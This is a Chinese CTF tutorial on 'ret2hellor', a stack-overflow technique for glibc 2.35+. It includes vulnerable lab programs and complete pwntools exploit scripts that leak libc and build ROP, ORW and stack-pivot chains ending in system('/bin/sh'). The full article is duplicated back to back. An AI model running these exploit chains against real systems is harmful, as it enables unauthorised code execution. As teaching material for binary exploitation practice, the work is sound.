ret2hellor,来自我的hellor申的利用手法,可以解决95%的高版本栈题
字数 1150
更新时间 2025-12-30 12:37:49
ret2hellor利用手法详解
一、技术背景与概述
ret2hellor是一种针对高版本GLIBC(2.35+)栈溢出漏洞的利用技术,作为ret2all的替代方案。该技术能够解决约95%的高版本栈溢出题目,特别是在以下场景中表现突出:
- 缺少puts函数或puts函数没有
mov rdi, rax优化 - 存在检查read限制特定输入内容的情况
- ret2all迁移bss段无法完全重启时
- 需要简化复杂的利用链构造
二、技术原理与三个阶段
阶段一:传统ret2libc(存在pop rdi gadget)
实验环境
#include <stdio.h>
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdout,0,2,0);
}
void main(){
init();
puts("hello hellor");
char buf[0x40];
read(0, buf, 0x200);
return 0;
}
Gadget检测
ROPgadget --binary ./pwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x000000000040119e : pop rdi ; ret
0x000000000040101a : ret
利用脚本
from pwn import *
io = process('./pwn_')
elf = ELF('./pwn_')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# 第一次溢出泄露libc
pd = b'a'*0x48
pd += p64(0x000000000040119e) # pop_rdi
pd += p64(elf.got['puts'])
pd += p64(elf.plt['puts'])
pd += p64(elf.symbols['main'])
io.send(pd)
io.recvuntil("Input something: \n")
lib = u64(io.recv(6).ljust(8,b'\x00'))-0x80e50
print("lib = ",hex(lib))
# 第二次溢出获取shell
pd = b'a'*0x48
libc = ELF('./libc.so.6')
pd += p64(0x000000000040101a) # 栈对齐
pd += p64(0x000000000040119e) # pop_rdi
pd += p64(lib + next(libc.search(b"/bin/sh")))
pd += p64(lib + libc.symbols['system'])
io.send(pd)
io.interactive()
阶段二:利用__bss_start特性(GLIBC 2.39+)
核心原理
在GLIBC 2.39+中,deregister_tm_clones函数包含有用片段:
void *deregister_tm_clones() {
return &_bss_start;
}
对应的汇编指令可以将__bss_start地址加载到rax寄存器,配合puts函数实现泄露。
例题分析:2025HKCERT
int __fastcall main(int argc, const char **argv, const char **envp) {
_BYTE buf[108];
int v5;
v5 = 0;
setbuf(stdin, 0);
setbuf(_bss_start, 0);
sandbox();
puts("hey hey what are you doing here?");
read(0, buf, 0x50u);
puts("I say STOP doing this!");
return read(0, buf, 0x200u);
}
沙箱限制
seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
利用脚本
from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
libc = ELF('./libc.so.6')
rt = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
s = lambda x : io.send(x)
# 第一次输入
pd = b'hello'
s(pd)
rt("I say STOP doing this!")
# 泄露libc
pd = b'a'*0x78
pop_rdx_rbp = 0x00000000004012fc
pd += p64(0x401130) # deregister_tm_clones
pd += p64(0x000000000040101a) # ret
pd += p64(0x4012B0) # 调用puts的gadget
pd += p64(elf.sym['main'])
s(pd)
rt(b'\n')
lib = u64(io.recv(6).ljust(8,b'\x00')) - 0x2045c0
print("lib =",hex(lib))
# ORW链构造
rdi = lib + next(libc.search(asm('pop rdi; ret')))
rsi = lib + next(libc.search(asm('pop rsi; ret')))
pd = b'a'*(0x68)
pd += b'./flag\x00\x00'
pd += p64(0xdeadbeef)
pd += p64(rdi)
pd += p64(0x404a00-8)
pd += p64(rsi)
pd += p64(0)
pd += p64(lib + 0x00000000000b503c) # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
pd += flat(0,0,0,0,0)
pd += p64(lib + libc.sym['open'])
# ... 继续构造read/write链
s(pd)
io.interactive()
阶段三:ret2hellor完全版(__bss_start为0的情况)
实验环境
#include <stdio.h>
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdout,0,2,0);
}
void main(){
char s[] = "welcome to ret2hellor";
init();
puts(s);
char buf[0x40];
read(0, buf, 0x200);
return 0;
}
核心技术点
- 栈迁移技术:利用leave_ret(mov rsp, rbp; pop rbp)实现栈迁移
- 分段写入:通过多次read调用逐步构建利用链
- 地址选择:在bss段选择合适地址避免冲突
完整利用脚本
from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
# 关键地址定义
ret = 0x40101a
bss = 0x404048
read = 0x401226
puts = 0x40121E
leave_ret = 0x401242
off = 0x60
off2 = 0xa00
# 第一步:初始栈迁移
pd = b'a'*off
pd += flat(bss+off2, read)
io.recvuntil("welcome to ret2hellor\n")
io.send(pd)
sleep(0.1)
# 第二步:构建泄露链
pd = flat(bss+off2-off+0x10, 0x4010D0, puts)
pd = pd.ljust(off, b'a')
pd += flat(bss+off*2, read)
io.send(pd)
sleep(0.1)
# 第三步:准备返回地址
pd = flat(bss+off2-off, leave_ret)
pd = pd.ljust(off, b'\x00')
pd += flat(bss+off, read)
io.send(pd)
sleep(0.1)
# 第四步:触发泄露
pd = b'\x80'
io.send(pd)
sleep(0.1)
# 获取libc基址
lib = u64(io.recv(6).ljust(8, b'\x00')) - 0x21b780
print("libc:", hex(lib))
# 第五步:获取shell
pd = b'a'*off
pd += p64(ret) # 栈对齐
pd += p64(lib + next(libc.search(asm('pop rdi; ret'))))
pd += p64(lib + next(libc.search(b"/bin/sh")))
pd += p64(lib + libc.symbols['system'])
io.send(pd)
io.interactive()
三、关键技术细节
1. 栈迁移原理
- 利用
leave; ret指令序列实现栈指针控制 leave=mov rsp, rbp; pop rbp- 通过控制rbp间接控制rsp
2. 地址选择策略
- bss低地址:puts函数正常工作区域
- bss中低地址:system函数可能失效区域
- bss高地址:安全执行区域
3. 多阶段写入技巧
- 分阶段构造利用链,避免一次性写入过长数据
- 利用read返回值控制写入位置
- 通过栈迁移连接各个阶段
4. 异常处理
- 当puts在read之后时,需要额外栈迁移层
- 注意栈对齐问题(x64架构要求16字节对齐)
- 处理地址随机化(PIE)和堆栈保护(Canary)
四、适用场景与限制
适用场景
- GLIBC 2.35+环境下的栈溢出漏洞
- 缺少传统gadget(如pop rdi)的情况
- 存在沙箱限制需要ORW的情况
- 题目对输入内容有特殊检查的情况
技术限制
- 需要至少一次栈溢出机会
- 需要可写的数据段(如bss段)
- 对地址布局有一定要求
- 在极端保护环境下可能失效
五、总结
ret2hellor技术通过巧妙的栈迁移和多阶段写入,解决了高版本GLIBC下传统利用技术的局限性。该技术的核心优势在于其适应性和简洁性,特别是在缺乏传统gadget的环境中表现突出。掌握这一技术对于现代二进制安全研究具有重要意义。
ret2hellor利用手法详解
一、技术背景与概述
ret2hellor是一种针对高版本GLIBC(2.35+)栈溢出漏洞的利用技术,作为ret2all的替代方案。该技术能够解决约95%的高版本栈溢出题目,特别是在以下场景中表现突出:
- 缺少puts函数或puts函数没有
mov rdi, rax优化 - 存在检查read限制特定输入内容的情况
- ret2all迁移bss段无法完全重启时
- 需要简化复杂的利用链构造
二、技术原理与三个阶段
阶段一:传统ret2libc(存在pop rdi gadget)
实验环境
#include <stdio.h>
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdout,0,2,0);
}
void main(){
init();
puts("hello hellor");
char buf[0x40];
read(0, buf, 0x200);
return 0;
}
Gadget检测
ROPgadget --binary ./pwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x000000000040119e : pop rdi ; ret
0x000000000040101a : ret
利用脚本
from pwn import *
io = process('./pwn_')
elf = ELF('./pwn_')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# 第一次溢出泄露libc
pd = b'a'*0x48
pd += p64(0x000000000040119e) # pop_rdi
pd += p64(elf.got['puts'])
pd += p64(elf.plt['puts'])
pd += p64(elf.symbols['main'])
io.send(pd)
io.recvuntil("Input something: \n")
lib = u64(io.recv(6).ljust(8,b'\x00'))-0x80e50
print("lib = ",hex(lib))
# 第二次溢出获取shell
pd = b'a'*0x48
libc = ELF('./libc.so.6')
pd += p64(0x000000000040101a) # 栈对齐
pd += p64(0x000000000040119e) # pop_rdi
pd += p64(lib + next(libc.search(b"/bin/sh")))
pd += p64(lib + libc.symbols['system'])
io.send(pd)
io.interactive()
阶段二:利用__bss_start特性(GLIBC 2.39+)
核心原理
在GLIBC 2.39+中,deregister_tm_clones函数包含有用片段:
void *deregister_tm_clones() {
return &_bss_start;
}
对应的汇编指令可以将__bss_start地址加载到rax寄存器,配合puts函数实现泄露。
例题分析:2025HKCERT
int __fastcall main(int argc, const char **argv, const char **envp) {
_BYTE buf[108];
int v5;
v5 = 0;
setbuf(stdin, 0);
setbuf(_bss_start, 0);
sandbox();
puts("hey hey what are you doing here?");
read(0, buf, 0x50u);
puts("I say STOP doing this!");
return read(0, buf, 0x200u);
}
沙箱限制
seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
利用脚本
from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
libc = ELF('./libc.so.6')
rt = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
s = lambda x : io.send(x)
# 第一次输入
pd = b'hello'
s(pd)
rt("I say STOP doing this!")
# 泄露libc
pd = b'a'*0x78
pop_rdx_rbp = 0x00000000004012fc
pd += p64(0x401130) # deregister_tm_clones
pd += p64(0x000000000040101a) # ret
pd += p64(0x4012B0) # 调用puts的gadget
pd += p64(elf.sym['main'])
s(pd)
rt(b'\n')
lib = u64(io.recv(6).ljust(8,b'\x00')) - 0x2045c0
print("lib =",hex(lib))
# ORW链构造
rdi = lib + next(libc.search(asm('pop rdi; ret')))
rsi = lib + next(libc.search(asm('pop rsi; ret')))
pd = b'a'*(0x68)
pd += b'./flag\x00\x00'
pd += p64(0xdeadbeef)
pd += p64(rdi)
pd += p64(0x404a00-8)
pd += p64(rsi)
pd += p64(0)
pd += p64(lib + 0x00000000000b503c) # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
pd += flat(0,0,0,0,0)
pd += p64(lib + libc.sym['open'])
# ... 继续构造read/write链
s(pd)
io.interactive()
阶段三:ret2hellor完全版(__bss_start为0的情况)
实验环境
#include <stdio.h>
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdout,0,2,0);
}
void main(){
char s[] = "welcome to ret2hellor";
init();
puts(s);
char buf[0x40];
read(0, buf, 0x200);
return 0;
}
核心技术点
- 栈迁移技术:利用leave_ret(mov rsp, rbp; pop rbp)实现栈迁移
- 分段写入:通过多次read调用逐步构建利用链
- 地址选择:在bss段选择合适地址避免冲突
完整利用脚本
from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
# 关键地址定义
ret = 0x40101a
bss = 0x404048
read = 0x401226
puts = 0x40121E
leave_ret = 0x401242
off = 0x60
off2 = 0xa00
# 第一步:初始栈迁移
pd = b'a'*off
pd += flat(bss+off2, read)
io.recvuntil("welcome to ret2hellor\n")
io.send(pd)
sleep(0.1)
# 第二步:构建泄露链
pd = flat(bss+off2-off+0x10, 0x4010D0, puts)
pd = pd.ljust(off, b'a')
pd += flat(bss+off*2, read)
io.send(pd)
sleep(0.1)
# 第三步:准备返回地址
pd = flat(bss+off2-off, leave_ret)
pd = pd.ljust(off, b'\x00')
pd += flat(bss+off, read)
io.send(pd)
sleep(0.1)
# 第四步:触发泄露
pd = b'\x80'
io.send(pd)
sleep(0.1)
# 获取libc基址
lib = u64(io.recv(6).ljust(8, b'\x00')) - 0x21b780
print("libc:", hex(lib))
# 第五步:获取shell
pd = b'a'*off
pd += p64(ret) # 栈对齐
pd += p64(lib + next(libc.search(asm('pop rdi; ret'))))
pd += p64(lib + next(libc.search(b"/bin/sh")))
pd += p64(lib + libc.symbols['system'])
io.send(pd)
io.interactive()
三、关键技术细节
1. 栈迁移原理
- 利用
leave; ret指令序列实现栈指针控制 leave=mov rsp, rbp; pop rbp- 通过控制rbp间接控制rsp
2. 地址选择策略
- bss低地址:puts函数正常工作区域
- bss中低地址:system函数可能失效区域
- bss高地址:安全执行区域
3. 多阶段写入技巧
- 分阶段构造利用链,避免一次性写入过长数据
- 利用read返回值控制写入位置
- 通过栈迁移连接各个阶段
4. 异常处理
- 当puts在read之后时,需要额外栈迁移层
- 注意栈对齐问题(x64架构要求16字节对齐)
- 处理地址随机化(PIE)和堆栈保护(Canary)
四、适用场景与限制
适用场景
- GLIBC 2.35+环境下的栈溢出漏洞
- 缺少传统gadget(如pop rdi)的情况
- 存在沙箱限制需要ORW的情况
- 题目对输入内容有特殊检查的情况
技术限制
- 需要至少一次栈溢出机会
- 需要可写的数据段(如bss段)
- 对地址布局有一定要求
- 在极端保护环境下可能失效
五、总结
ret2hellor技术通过巧妙的栈迁移和多阶段写入,解决了高版本GLIBC下传统利用技术的局限性。该技术的核心优势在于其适应性和简洁性,特别是在缺乏传统gadget的环境中表现突出。掌握这一技术对于现代二进制安全研究具有重要意义。